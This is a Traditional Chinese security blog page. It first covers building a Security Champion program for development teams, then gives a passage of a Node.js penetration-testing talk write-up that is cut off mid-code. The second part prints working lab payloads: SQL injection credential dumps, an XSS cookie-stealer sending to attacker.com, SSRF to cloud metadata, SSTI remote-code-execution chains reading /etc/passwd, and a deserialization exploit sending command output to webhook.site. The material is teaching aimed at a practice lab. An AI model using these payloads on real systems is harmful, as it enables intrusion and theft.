記住,沒有度量的安全是盲目的努力,而有度量的安全是持續進化的力量。

讓我們用數據,讓安全的價值被每一個人看見。


延伸閱讀

[安全教育] 001 Security Champion 計畫:讓開發者成為安全推手|建立機制、培訓與激勵的完整實戰指南

「最好的防火牆,不是裝在伺服器上的那道,而是裝在每個開發者腦中的那道。
Security Champion 不是多一個頭銜,而是讓安全有了在每個團隊生根的土壤。」
— SSDLC by 飛飛


一、Security Champion 是什麼?為什麼你的團隊需要「安全種子選手」?

在 SSDLC 蓋房子的旅程中,我們已經走過了安全需求、安全設計、安全編碼、安全測試、安全部署、安全維運。到了階段七:教育與持續改進(Education & Continuous Improvement)——也就是社區防災演練、經驗傳承的階段。

但這裡有一個殘酷的現實:再好的安全制度,如果沒有「人」在團隊裡日復一日地推動,最終都會變成牆上的海報。

想像你住的社區,管委會請了一位消防顧問來演講,大家聽完拍拍手,然後繼續把滅火器當門擋用。但如果你們棟有一位鄰居,本身就住在這裡、了解大家的習慣,他會在群組裡提醒「瓦斯記得關」、在樓梯間順手檢查滅火器、住戶裝修時提醒「不要擋到消防通道」——這位鄰居就是你的 Security Champion。

Security Champion(安全冠軍 / 安全倡導者) 是開發團隊中願意多學一點資安知識、在日常開發中推廣安全實踐的開發者。他們不是資安專家,也不需要轉職成資安工程師,而是在原本的開發角色上,多戴一頂安全的帽子。

面向 專職資安團隊 Security Champion
身份 獨立的資安部門成員 開發團隊中的一員
比喻 消防局派來的消防員 社區裡懂消防的鄰居
優勢 專業深度、全局視野 了解團隊痛點、即時回應
劣勢 不了解每個團隊的細節 安全知識有限,需要持續學習
角色 制定政策、審計、應變 推廣實踐、第一線把關、橋樑溝通

根據 OWASP Security Champions Playbook 的定義,Security Champion 是團隊中安全事務的單一聯絡窗口,他們與資安團隊保持聯繫、監督安全最佳實踐的落實,並協助推動安全文化活動。

飛飛觀點:
在台灣,很多中小型軟體公司根本沒有專職資安人員。這不代表你可以不做安全——而是代表你更需要 Security Champion。就像小公寓沒有物管公司,更需要有個熱心鄰居幫忙注意門禁安全。


二、沒有 Security Champion 會怎樣?那些血淋淋的場景

在你決定要不要建立 Security Champion 計畫之前,先看看沒有它的團隊長什麼樣子:

場景一:資安警報變成噪音
CI/CD Pipeline 加入了 SAST 掃描(太好了,你讀了前幾篇文章!),每次掃出 20 條警告。但沒有人知道哪些重要、哪些是誤報,開發者開始習慣性忽略。三個月後,Pipeline 裡的安全掃描變成了裝飾品。

場景二:安全知識斷層
團隊裡那個懂資安的前輩離職了。他腦中的安全設計決策、為什麼密碼要用 Argon2 而不是 bcrypt、為什麼那個 API 要加 Rate Limit——全部跟著他走了。新人接手後,這些防護措施逐漸被「簡化」掉。

場景三:資安團隊變成瓶頸
公司有一個兩人的資安團隊,但他們要審全公司八個團隊的程式碼。結果?安全審查排隊排到天荒地老,開發者為了趕 deadline 直接跳過安全審查上線。

場景四:安全只在出事時被想起
平時大家各忙各的,直到某天客戶資料外洩上了新聞。老闆緊急召開會議:「誰來負責?」大家面面相覷——因為安全從來不是「誰的事」。

這些場景有沒有很眼熟?Security Champion 計畫正是為了解決這些問題而存在的。


三、Security Champion 的角色定義:他們到底要做什麼?

Security Champion 不是「兼職資安工程師」,也不是「背鍋俠」。他們的角色更像是一座橋——連結開發團隊與資安團隊,讓安全知識能在日常開發中流動。

核心職責清單

## Security Champion 職責定義

### 日常職責(每週投入 2-4 小時)
- [ ] Code Review 時關注安全面向(輸入驗證、權限檢查、錯誤處理)
- [ ] 協助團隊判讀 SAST / DAST / SCA 掃描結果
- [ ] 在 Sprint Planning 提出安全考量(「這個功能需要做威脅建模嗎?」)
- [ ] 追蹤團隊的安全技術債,確保高風險項目被排入修復計畫

### 推廣職責(每月 2-4 小時)
- [ ] 在團隊內分享最新的安全漏洞案例或技術趨勢
- [ ] 帶領團隊做安全相關的 Workshop 或 Lunch & Learn
- [ ] 維護團隊的安全 Checklist 和最佳實踐文件

### 橋樑職責(持續性)
- [ ] 作為團隊與資安團隊之間的聯絡窗口
- [ ] 將資安團隊的政策「翻譯」成開發者聽得懂的語言
- [ ] 回報團隊遇到的安全工具問題或流程卡點
- [ ] 參加跨團隊的 Security Champion 定期會議

### 進階職責(視經驗逐步加入)
- [ ] 協助進行新功能的威脅建模(STRIDE 分析)
- [ ] 撰寫安全相關的自訂 Semgrep / ESLint 規則
- [ ] 協助規劃安全驗收標準(Gherkin 格式)
- [ ] 在事件回應時提供技術支援

Security Champion ≠ 這些角色

很多團隊對 Security Champion 有誤解,這裡先釐清:

Security Champion 是 Security Champion 不是
安全意識的推廣者 所有安全工作的執行者
團隊的安全諮詢窗口 唯一需要關心安全的人
資安團隊的延伸觸角 資安團隊的替代品
持續學習安全的開發者 已經精通資安的專家
提出安全建議的人 有權否決功能上線的人

飛飛觀點:
最常見的失敗原因是把 Security Champion 當成「免費的資安工程師」——什麼安全工作都丟給他,但不給他時間、資源和支持。這就像讓一個志工消防員去處理化學工廠大火,既不公平也不實際。


四、從零建立 Security Champion 計畫:六步驟實戰指南

第一步:取得管理層支持(最重要的一步)

沒有管理層的支持,Security Champion 計畫注定失敗。因為 Champion 需要被允許在工作時間花一部分精力在安全上。如果主管認為「寫 Code 才是正事,搞安全是浪費時間」,那 Champion 就會在產出壓力和安全責任之間被夾扁。

怎麼說服老闆?用數據和錢說話:

## 給主管的電梯簡報

### 問題
- 台灣企業每年因資安事件平均損失 NT$ 3,200 萬
- 上線後才發現的安全漏洞,修復成本是設計階段的 30-100 倍
- 我們目前沒有人在開發過程中把關安全

### 解決方案
- 建立 Security Champion 計畫
- 每個團隊指定一位開發者,每週投入 2-4 小時關注安全
- 不需要額外招人,不需要大額預算

### 預期效益
- 安全漏洞在開發階段被發現的比率提升 40-60%
- 減少上線後的安全修補成本
- 提升團隊整體安全意識與程式碼品質
- 符合客戶與法規(個資法、資安法)的安全要求

### 需要的支持
- 允許 Champion 每週有 2-4 小時的安全學習與實踐時間
- 提供基礎的培訓資源(約 NT$ 30,000-50,000 / 年)
- 在績效考核中認可 Champion 的貢獻

第二步:選對人(心態比技能重要)

Security Champion 不需要是團隊裡技術最強的人,但一定要是對安全有好奇心、願意學習、能影響他人的人。

理想的 Security Champion 特質:

  • 好奇心強:看到一個 API 會想「如果有人亂打參數會怎樣?」
  • 樂於分享:願意在團隊內分享學到的東西,不藏私
  • 溝通能力好:能把技術概念用大家聽得懂的方式說明
  • 有影響力:團隊成員信任他、願意聽他的建議
  • 主動積極:不需要人追著跑,自己會找資源學習

建議的人數比例: 每 5-10 位開發者配一位 Security Champion。太少覆蓋不了,太多反而沒人認真投入。

選人方式:

方式 優點 缺點
自願報名 動機最強、投入度高 可能沒人報名
主管推薦 可確保每個團隊都有 被推薦的人可能不情願
結合兩者 平衡覆蓋率與投入度 需要更多溝通協調

台灣場景的建議: 先從自願報名開始,搭配一場「Security Champion 是什麼」的說明會。我的經驗是,當大家知道這不是額外加班,而是有資源支持的成長機會時,通常都會有人主動舉手。

飛飛觀點:
最怕的就是「被志願」的 Champion。研究指出,被強迫擔任的 Champion 往往會心生不滿、敷衍了事。招募應該強調吸引力和好奇心,而不是強制指派。如果一個團隊真的沒人想當,那代表安全文化需要先從更基礎的地方開始培養。


第三步:建立培訓路線圖(漸進式學習)

Security Champion 不需要一開始就精通所有資安知識。好的培訓計畫是漸進式的——先打基礎,再逐步加深。

培訓路線圖(建議 6 個月為一個週期)

第 1 個月:安全意識基礎
├─ OWASP Top 10 概覽(讀完本系列文章就夠了!)
├─ 常見漏洞 Demo(SQL Injection、XSS 實際操作)
├─ 認識團隊使用的安全工具(SAST、DAST、SCA)
└─ 完成 OWASP Juice Shop 前 10 個挑戰

第 2-3 個月:工具與流程實戰
├─ 學會判讀 SonarQube / Semgrep 的掃描報告
├─ 練習做簡單的 Code Review(安全面向)
├─ 參與一次威脅建模 Workshop(STRIDE)
└─ 撰寫第一份 Abuse Case

第 4-5 個月:深化與分享
├─ 學習進階主題(認證授權設計、密碼學基礎、供應鏈安全)
├─ 在團隊內做一次 Lunch & Learn 分享
├─ 協助定義一個功能的安全驗收標準
└─ 參加外部資安社群活動或研討會

第 6 個月:評估與規劃
├─ 自我評估成長(對照初始基準)
├─ 收集團隊回饋
├─ 規劃下一期的學習重點
└─ 將經驗文件化,加入團隊知識庫

推薦的學習資源:

資源 類型 費用 適合階段
SSDLC by 飛飛 系列文章 文章 免費 第 1 個月
OWASP Juice Shop 實作平台 免費 第 1-2 個月
PortSwigger Web Security Academy 線上課程 + Lab 免費 第 2-3 個月
OWASP Security Champions Guide 指南 免費 持續參考
AWS Security Champion Knowledge Path 線上課程 + Badge 付費(Skill Builder) 第 3-5 個月
資安實務研討會(如 HITCON、CYBERSEC) 研討會 付費(NT$ 2,000-8,000) 第 4-5 個月

第四步:建立溝通機制與社群

Security Champion 不該是孤軍奮戰。他們需要一個互相支持的社群。

建議建立以下溝通管道:

1. 專屬 Slack / Teams 頻道
建一個 <code>#security-champions</code> 頻道,讓所有 Champion 可以:

  • 分享遇到的安全問題和解決方式
  • 討論掃描結果中不確定的發現
  • 轉發最新的安全資訊和漏洞通報

2. 雙週定期會議(30 分鐘)
每兩週一次的短會議,議程很簡單:

## Security Champion 雙週會議議程(30 分鐘)

1. 【5 分鐘】近期安全動態(資安團隊分享)
2. 【10 分鐘】各團隊安全近況回報
   - 有沒有遇到新的安全問題?
   - 掃描結果有什麼需要討論的?
   - 有沒有什麼安全改善的好消息?
3. 【10 分鐘】主題討論 / 案例分享
   - 輪流由一位 Champion 分享學到的東西
4. 【5 分鐘】行動項目確認

3. 知識庫(Wiki / Notion / Confluence)
集中管理所有安全相關的知識:

/security-knowledge-base
  /onboarding           ← 新進 Champion 的入門指南
  /checklists           ← 各類安全 Checklist
  /case-studies         ← 團隊遇過的安全案例
  /tool-guides          ← 安全工具使用指南
  /templates            ← 威脅建模、Abuse Case 模板
  /meeting-notes        ← 雙週會議紀錄

第五步:設計激勵機制(讓人想繼續做下去)

Security Champion 是額外付出時間和精力的角色,如果沒有適當的激勵,熱情很快就會消退。

激勵不只是獎金,而是認可、成長和影響力。

激勵類型 具體做法 成本
公開認可 在全公司月會上介紹 Champion 和他們的貢獻 免費
學習資源 贊助參加資安研討會(如 HITCON、CYBERSEC) NT$ 3,000-8,000 / 次
證照補助 補助考取 Security+ 或 CEH 等證照 NT$ 10,000-30,000
績效認可 將 Champion 工作納入績效考核的加分項目 免費
成長路徑 提供 Tech Lead 或 Security Engineer 的晉升參考 免費
季度表彰 「最佳安全倡導者」獎,附贈小禮物或獎金 NT$ 1,000-3,000
時間保障 明確規定每週有 2-4 小時的安全學習時間 免費(但最珍貴)

台灣企業的實戰做法:

  • 某台灣電商公司:每季評選「安全之星」,在公司群組公開表揚,並送一張 NT$ 3,000 的書券(買技術書籍用)
  • 某台灣金融科技新創:Security Champion 的工作納入 OKR,佔個人績效的 10%,確保主管不會忽視他們的貢獻
  • 某台灣 SaaS 公司:每年贊助一位 Champion 去參加海外資安研討會,回來後做一場公司內部分享

飛飛觀點:
在所有激勵中,「時間保障」是最重要的。很多公司口頭支持安全,但 Champion 一忙起來就被要求「先趕功能,安全的事晚點再說」。如果連學習和實踐的時間都沒有,其他激勵都是空談。


第六步:衡量成效,持續改進

Security Champion 計畫不是設立了就萬事大吉。你需要追蹤指標,確認計畫真的有在產生效果。

建議追蹤的指標:

// Security Champion 計畫成效指標
const securityChampionMetrics = {
  // 安全品質指標
  vulnerabilities: {
    '開發階段發現的漏洞數': '應該逐漸增加(代表更多問題被提前發現)',
    '上線後才發現的漏洞數': '應該逐漸減少',
    '平均漏洞修復時間': '應該逐漸縮短',
    'SAST 掃描合格率': '應該逐漸提升',
  },

  // 文化指標
  culture: {
    'Champion 活動參與率': '每月分享會的出席率',
    'Security PR Review 參與度': 'Champion 參與安全相關 Code Review 的頻率',
    '安全議題提出次數': 'Sprint Planning 中提出安全考量的次數',
    '知識庫更新頻率': '安全文件被新增或更新的次數',
  },

  // Champion 個人成長指標
  growth: {
    '培訓完成率': '預定課程的完成比例',
    '安全技能自評分數': '每季一次,1-5 分自評',
    '分享次數': 'Lunch & Learn 或文章分享的次數',
  },

  // 滿意度指標
  satisfaction: {
    'Champion 滿意度': '對計畫的整體滿意度(季度調查)',
    '團隊感受': '團隊成員是否感覺安全意識有提升',
  }
};

簡易的季度報告模板:

## Security Champion 計畫 Q_ 季度報告

### 本季重點數據
- Security Champion 人數:_ 人(覆蓋 _ 個團隊)
- 開發階段發現漏洞:_ 件(上季:_ 件)
- 上線後安全事件:_ 件(上季:_ 件)
- 平均漏洞修復時間:_ 天(上季:_ 天)

### 本季活動
- 舉辦 _ 場安全分享會
- 完成 _ 次威脅建模
- 更新 _ 份安全文件

### 成功案例
[記錄一個具體的、Champion 發現或預防安全問題的案例]

### 挑戰與改進
[記錄遇到的困難和下季改進方向]

五、台灣場景實戰:一個 20 人團隊的導入案例

讓我們用一個虛構但寫實的台灣場景,走一遍 Security Champion 計畫的完整導入。

背景

「好買網」是一間台灣的中型電商平台,團隊 20 人(3 個 Scrum 小組,每組 5-7 人),使用 Node.js + React 技術棧。沒有專職資安人員,過去安全靠上線前找外部廠商做一次滲透測試。

導入過程

Month 0:準備階段
CTO 閱讀了 SSDLC 系列文章(就是你現在在看的這個系列),決定導入 Security Champion 計畫。他向 CEO 提出提案,用「去年滲透測試發現 15 個高風險漏洞,修復花了 3 個 Sprint」的數據說服管理層支持。

Month 1:啟動

  • 舉辦一場 1 小時的全員說明會,介紹 Security Champion 計畫
  • 三個 Scrum 小組各有一人自願報名(前端組的小美、後端組的阿凱、DevOps 組的志明)
  • 每位 Champion 每週有 3 小時的安全學習時間
  • 建立 <code>#security-champions</code> Slack 頻道

Month 2-3:基礎培訓

  • 三人一起讀完 SSDLC 系列文章的安全需求和安全編碼篇
  • 各自完成 OWASP Juice Shop 前 15 個挑戰
  • 阿凱在 Code Review 時發現一個 SQL Injection 風險,提交修復 PR
  • 志明把 Semgrep 的掃描結果整理成團隊看得懂的報告格式

Month 4-6:實戰累積

  • 小美在 Sprint Planning 提出「這個新的社群分享功能需要做 Abuse Case 分析」
  • 三人合作完成了登入系統的 STRIDE 威脅建模
  • 阿凱做了第一場 Lunch & Learn:「我如何用 5 分鐘在好買網找到 XSS 漏洞」(用測試環境 demo)
  • 志明建立了團隊的「部署前安全 Checklist」
  • 外部滲透測試結果:高風險漏洞從去年的 15 個降到 4 個

Month 7-12:持續改進

  • 新進的開發者入職時,由 Champion 帶他做一次安全基礎導覽
  • 建立了安全知識庫,累積了 12 篇安全案例
  • CTO 在年度大會上公開表揚三位 Champion
  • 阿凱開始對團隊的自訂 Semgrep 規則做貢獻
  • 計畫吸引了另外兩位開發者加入,Champion 團隊擴大到 5 人

成果數據

指標 導入前 導入後(一年)
外部滲透測試高風險漏洞數 15 個 4 個
開發階段發現的安全問題 0 件 / 季 12 件 / 季
安全修復平均時間 14 天 3 天
團隊安全意識自評(1-5) 2.1 分 3.8 分
Sprint Planning 提出安全議題次數 0 次 / 月 4 次 / 月

六、Security Champion 的成熟度模型:你的計畫在哪個階段?

Security Champion 計畫不是一步到位的,它有自己的成長曲線。以下是四個成熟度等級,幫你評估目前的狀態和下一步方向:

等級 名稱 特徵 下一步行動
Level 1 萌芽期 剛指定 Champion,角色定義模糊,培訓剛開始 明確職責、建立培訓路線圖
Level 2 建立期 Champion 開始在 Code Review 中關注安全,定期會議已建立 建立激勵機制、開始量化指標
Level 3 成長期 Champion 主動發現問題、帶動團隊文化改變、有系統的知識分享 深化技能(威脅建模、自訂規則)、建立知識庫
Level 4 成熟期 安全融入開發日常、Champion 影響架構決策、形成安全社群 建立 Community of Practice、影響組織策略

根據 BSIMM(Building Security In Maturity Model)的數據,在安全成熟度最高的企業中,有 92% 設有 Security Champion 計畫,而成熟度最低的企業只有 32%。這充分說明了 Security Champion 與組織安全水準的正相關。


七、常見問題 FAQ

Q1:我們團隊只有 5 個人,也需要 Security Champion 嗎?

需要,而且更需要。小團隊沒有專職資安人員,代表安全責任完全分散,結果就是沒人負責。指定一位 Champion,哪怕每週只花 1-2 小時關注安全,都比「大家都有責任 = 沒人有責任」好太多了。

Q2:Security Champion 需要什麼背景?需要資安證照嗎?

不需要任何資安背景或證照。最重要的是對安全有興趣和好奇心。培訓計畫會逐步補足知識。事實上,很多優秀的 Champion 是從「想知道為什麼這行程式碼不安全」這個好奇心開始的。證照可以作為後續的成長目標,但絕不是門檻。

Q3:Champion 會不會變成團隊的瓶頸?什麼安全決策都要經過他?

不應該。Champion 的角色是「推廣者」和「諮詢者」,不是「審核者」。安全檢查應該盡量自動化(SAST、DAST、SCA 整合進 CI/CD),Champion 負責的是幫助團隊理解掃描結果、推動安全文化,而不是親自審每一行 Code。

Q4:如果 Champion 離職了怎麼辦?

這正是為什麼每個團隊至少要有一位 Champion、公司整體要有多位 Champion 的原因。另外,Champion 累積的知識應該被文件化在知識庫中,而不是只存在個人腦中。建議每位 Champion 培養至少一位「備援」,就像值班制度一樣。

Q5:這跟之前文章提到的「威脅建模引導者」是同一個角色嗎?

是的!在威脅建模入門那篇文章中提到的「威脅建模引導者」,就是 Security Champion 的職責之一。Champion 是一個更全面的角色,威脅建模、安全 Code Review、工具結果判讀、安全教育——這些都是 Champion 的工作範疇。


八、Security Champion Onboarding Checklist

如果你已經決定要成為或指定 Security Champion,以下是一份可以直接使用的入職清單:

## Security Champion 新手入職 Checklist

### 第一週:認識角色
- [ ] 閱讀 Security Champion 職責定義文件
- [ ] 加入 #security-champions 頻道
- [ ] 認識資安團隊的聯絡窗口
- [ ] 了解公司目前使用的安全工具(SAST、DAST、SCA)
- [ ] 閱讀 SSDLC by 飛飛 的「什麼是 SSDLC」入門文章

### 第一個月:打基礎
- [ ] 完成 OWASP Top 10 概覽學習
- [ ] 在 OWASP Juice Shop 完成前 10 個挑戰
- [ ] 學會查看 CI/CD Pipeline 中的安全掃描報告
- [ ] 在一次 Code Review 中嘗試從安全角度提出建議
- [ ] 參加第一次 Security Champion 雙週會議

### 第二個月:開始實踐
- [ ] 獨立判讀一次 SAST 掃描結果(區分真陽性和誤報)
- [ ] 在 Sprint Planning 中提出至少一個安全考量
- [ ] 閱讀 SSDLC 系列的安全需求和安全編碼文章
- [ ] 建立或更新一份團隊的安全 Checklist

### 第三個月:分享與連結
- [ ] 在團隊內做一次 15 分鐘的安全分享
- [ ] 將一個學到的安全知識寫成文件,加入知識庫
- [ ] 嘗試為一個功能撰寫 Abuse Case
- [ ] 評估自己的學習進度,規劃下一階段目標

九、結語:安全文化的最小可行單位,是一個願意多想一步的人

工具可以自動掃描、流程可以強制執行、政策可以寫得很漂亮——但真正讓安全在團隊裡生根發芽的,是人。

Security Champion 不是一個華麗的頭銜,而是一個簡單的承諾:「我願意在寫程式的同時,多想一步——這行 Code 安全嗎?這個設計會不會被攻擊者利用?這個錯誤訊息會不會洩露太多資訊?」

在 SSDLC 蓋房子的旅程中,我們學了怎麼寫安全需求、怎麼做威脅建模、怎麼安全編碼、怎麼做測試、怎麼強化系統。但所有這些知識,都需要有人在每一天的開發工作中去實踐。Security Champion 就是那個把知識變成行動的人。

回想一下你家社區裡那位熱心的鄰居——他不需要是消防員、不需要是保全專家,但因為他的存在,整個社區都更安全了一點。

你,願意成為你團隊的那個人嗎?

安全不是恐懼,而是創造的基礎。
當團隊裡有人願意為安全多想一步,安全文化就不再是政策文件裡的口號——而是每一次 Code Review、每一次 Sprint Planning、每一次部署中,自然而然發生的事。


延伸閱讀

[Conf] 001 從攻擊到防禦:Node.js 網站安全與滲透測試實戰指南

本文整理自 JSDC 2025(JavaScript Developer Conference) 演講「從攻擊到防禦:系統化學習網站安全與滲透測試的實戰思維」,講者為林子婷(飛飛)。文章包含完整的攻擊 Payload 與實作環境,供讀者實際練習。

活動資訊:JSDC 2025 | 2025/11/29 | https://2025.jsdc.tw

前言

當我們在做滲透測試的時候,第一步永遠是資訊收集。有一次我在測試一個網站時,發現 HTTP Response 中出現了這樣的內容:

X-Powered-By: Express
Server: nginx/1.18.0 (Ubuntu)

這告訴我兩件事:後端是 Node.js(Express 框架),伺服器是 Nginx。

但知道這是 Node.js,真的改變了什麼嗎?

這個問題貫穿了整場演講,也是本文想要探討的核心。


實驗環境

本文所有攻擊都可以在以下環境中實際練習:

⚠️ 警告:請僅在授權的測試環境中練習,切勿對未經授權的系統進行測試。


第一部分:攻擊者視角

一、識別 Node.js 的方法

在開始攻擊之前,我們需要先確認目標的技術。以下是識別 Node.js 的幾種方法:

1.1 HTTP Response Headers

curl -I https://nodelab.feifei.tw

觀察回應中的:

  • X-Powered-By: Express — 最直接的線索
  • Server: nginx — 配合其他線索判斷

1.2 Cookie 命名慣例

打開瀏覽器開發者工具 → Application → Cookies,觀察:

  • connect.sid — Express Session 的預設名稱

1.3 錯誤訊息洩漏

故意觸發錯誤,觀察 Stack Trace 中是否包含:

  • node_modules
  • at Object.<anonymous>
  • Express 相關路徑

1.4 使用 Wappalyzer

安裝瀏覽器擴充套件 Wappalyzer,它會自動分析並顯示網站使用的技術。


二、通用漏洞(與語言無關)

以下漏洞無論後端是什麼語言都會測試,佔滲透測試發現漏洞的 60-70%。

2.1 SQL Injection

Lab 路徑:https://nodelab.feifei.tw/api/articles/

漏洞程式碼:

// 不安全的寫法 - 字串拼接
const query = SELECT * FROM articles WHERE id = ${req.params.id};

攻擊流程:

Step 1:探測漏洞

curl "https://nodelab.feifei.tw/api/articles/'"

如果回傳詳細錯誤訊息,表示可能存在 SQL Injection。

Step 2:確定欄位數量(ORDER BY)

# 測試 ORDER BY 1 到 ORDER BY 7
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 6-- -"  # 成功
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 7-- -"  # 失敗
# 結論:有 6 個欄位

Step 3:取得資料庫版本

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,version(),null,null,null,null-- -"

Step 4:列出所有資料表

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(table_name,','),null,null,null,null FROM information_schema.tables WHERE table_schema='public'-- -"

Step 5:取得 users 表的欄位

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(column_name,','),null,null,null,null FROM information_schema.columns WHERE table_name='users'-- -"

Step 6:取得帳號密碼

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(username||':'||password,','),null,null,null,null FROM users-- -"

預期結果:

test:password123,admin:secret1

2.2 XSS(跨站腳本攻擊)

反射型 XSS

Lab 路徑:https://nodelab.feifei.tw/search

漏洞程式碼:

app.get('/search', (req, res) => {
  const keyword = req.query.keyword;
  res.send(你搜尋的關鍵字是:${keyword});  // 直接輸出,未轉義
});

攻擊 Payload:

https://nodelab.feifei.tw/search?keyword=<script>alert('XSS')</script>

竊取 Cookie 的 Payload:

https://nodelab.feifei.tw/search?keyword=<img src=x onerror="new Image().src=' https://attacker.com/?c='+document.cookie">
DOM-based XSS

Lab 路徑:https://nodelab.feifei.tw/form

測試 Payload:

類型 Payload 預期結果
HTML 注入 <h1>這是標題</h1> 顯示為 H1 標題
CSS 注入 <style>body{background:red}</style> 背景變紅
JS 注入 <script>alert(‘XSS’)</script> 彈出對話框

2.3 JWT 誤用

Lab 路徑:https://nodelab.feifei.tw/api/auth/login

漏洞程式碼:

// 絕對不要這樣寫!
const token = jwt.sign({
  id: user.id,
  username: user.username,
  password: user.password  // 密碼放進 JWT!
}, secretKey);

💬 講者原話:「大家不要笑,這些全部都是真實的案例。」

這不是虛構的教學範例,而是在實際滲透測試中真的遇到過的情況。

攻擊方式:

  1. 取得 JWT Token

    curl -X POST https://nodelab.feifei.tw/api/auth/login \
    -H "Content-Type: application/json" \
    -d '{"username":"test","password":"password123"}'
  2. 解碼 JWT(到 https://jwt.io)

    • JWT 中間部分是 Base64 編碼
    • 解碼後可能看到明文密碼

2.4 敏感資料洩露

Lab 路徑:https://nodelab.feifei.tw/api/users

漏洞程式碼:

app.get('/api/users/:id', async (req, res) => {
  const user = await User.findById(req.params.id);
  res.json(user);  // 直接回傳整個物件,包含密碼
});

💬 講者原話:「這個東西在什麼時候會出現?Vibe Coding 的時候。」

「所以這時候 API 就會洩露密碼,所有東西全部都列出來,完整的非常貼心,還整理好了,直接打包送給駭客。」

「請在座各位不要這樣寫,如果今天你在用 Vibe Coding,請務必確認一下有沒有這樣寫。」

為什麼 Vibe Coding 容易出現這個問題?

當你用 AI 快速生成 CRUD API 時,AI 為了「方便」會直接回傳整個資料庫物件,而不會特別過濾敏感欄位。如果開發者沒有仔細檢查,這些程式碼就會直接上線。

攻擊方式:

curl https://nodelab.feifei.tw/api/users/1

可能的回傳:

{
  "id": 1,
  "username": "admin",
  "email": "admin@example.com",
  "password": "hashed_password_here",
  "created_at": "2024-01-01"
}

2.5 SSRF(伺服器端請求偽造)

Lab 路徑:https://nodelab.feifei.tw/fetch

漏洞程式碼:

app.get('/fetch', async (req, res) => {
  const { url } = req.query;
  const response = await axios.get(url);  // 直接請求使用者提供的 URL
  res.json(response.data);
});

攻擊 Payload:

存取內部 API:

curl "https://nodelab.feifei.tw/fetch?url=https://internal-api:4000/api/sensitive"

讀取本機檔案(如果支援 file 協定):

curl "https://nodelab.feifei.tw/fetch?url=file:///etc/passwd"

存取雲端 Metadata(AWS/GCP):

curl "https://nodelab.feifei.tw/fetch?url=https://169.254.169.254/latest/meta-data/"

💬 講者原話:「裡面有什麼?有你雲端上面的 Token、API Key 等等,這些是非常危險的。所以哪天你發現你家的 AWS 帳單暴增,看一下有沒有類似的問題。」

真實案例場景:

攻擊者透過 SSRF 取得 AWS Metadata 中的 IAM Role Token 後,可以:

  1. 啟動大量 EC2 實例進行挖礦
  2. 存取 S3 Bucket 中的敏感資料
  3. 修改安全群組設定
  4. 建立新的 IAM 使用者作為後門

這就是為什麼很多公司會突然收到巨額的雲端帳單。


三、Node.js 特定漏洞

以下漏洞是 Node.js 特有的,佔發現漏洞的 20-30%,但往往可以導致 RCE(遠端程式碼執行)。

3.1 SSTI(伺服器端模板注入)

Lab 路徑:

模板引擎 URL
JsRender https://nodelab.feifei.tw/ssti/JsRender-demo
PugJS https://nodelab.feifei.tw/ssti/PugJS-demo
Nunjucks https://nodelab.feifei.tw/ssti/Nunjucks-demo
Step 1:確認 SSTI 漏洞存在

JsRender:

curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
  -H "Content-Type: application/json" \
  -d '{"payload":"{{:7*7}}"}'
# 預期結果:49

PugJS:

curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"#{7*7}"}'
# 預期結果:49

Nunjucks:

curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"{{7*7}}"}'
# 預期結果:49
Step 2:RCE 攻擊

💬 講者原話:「攻擊者可以嘗試執行系統的指令。這是搭配 Node.js 裡面的特性,還有各式各樣的內容。如果你看不懂沒有關係,回去可以拍起來,然後用 AI,反正現在 AI 都會幫你寫攻擊 Payload。」

「你不要覺得 AI 有攻擊的倫理道德,沒有,完全沒有。」

「你說『這個語法要怎麼寫,幫我把這個攻擊語法拼接出來』,它就會給你。」

JsRender – 讀取 /etc/passwd:

curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
  -H "Content-Type: application/json" \
  -d '{"payload":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"').toString()\")()}}"}'

PugJS – 建立檔案:

curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad('"'"'child_process'"'"').exec('"'"'touch /tmp/pwned.txt'"'"')}()}"}'

Nunjucks – 讀取 /etc/passwd:

curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"{{range.constructor(\"return global.process.mainModule.require('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"')\")()}}"}'

⚠️ 講者提醒:「對於白帽駭客、資安工程師來講,我們測試到這樣就好了。但如果是一個黑帽駭客,就是你所謂聽過一些邪惡的駭客,他可能就會下 rm -rf / 之類的。有一些駭客就是基於『好好玩有趣』,請不要在你家公司內部這樣下,會出大事。」


3.2 不安全的反序列化

Lab 路徑:https://nodelab.feifei.tw/api/serialize

漏洞程式碼:

const serialize = require('node-serialize');

app.post('/api/serialize', (req, res) => {
  const data = serialize.unserialize(req.body);  // 危險!
  res.json(data);
});

攻擊 Payload:

基本測試:

curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"key":"value"}'

RCE – Console.log:

curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"rce":"_$$ND_FUNC$$_function(){console.log(\"RCE successful\");}()"}'

RCE – 讀取系統資訊(Out-of-Band):

# 先到 webhook.site 取得你的 URL
curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"rce":"_$$ND_FUNC$$_function(){const  https=require(\" https\");const {execSync}=require(\"child_process\");const result=execSync(\"uname -a\").toString();const options={hostname:\"webhook.site\",port:443,path:\"/YOUR-UUID\",method:\"POST\"};const req= https.request(options);req.write(result);req.end();return {}}()"}'

3.3 Prototype Pollution(原型污染)

概念說明:

JavaScript 的所有物件都繼承自 Object.prototype。如果攻擊者能夠修改 Object.prototype,就會影響所有物件。

漏洞程式碼:

function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
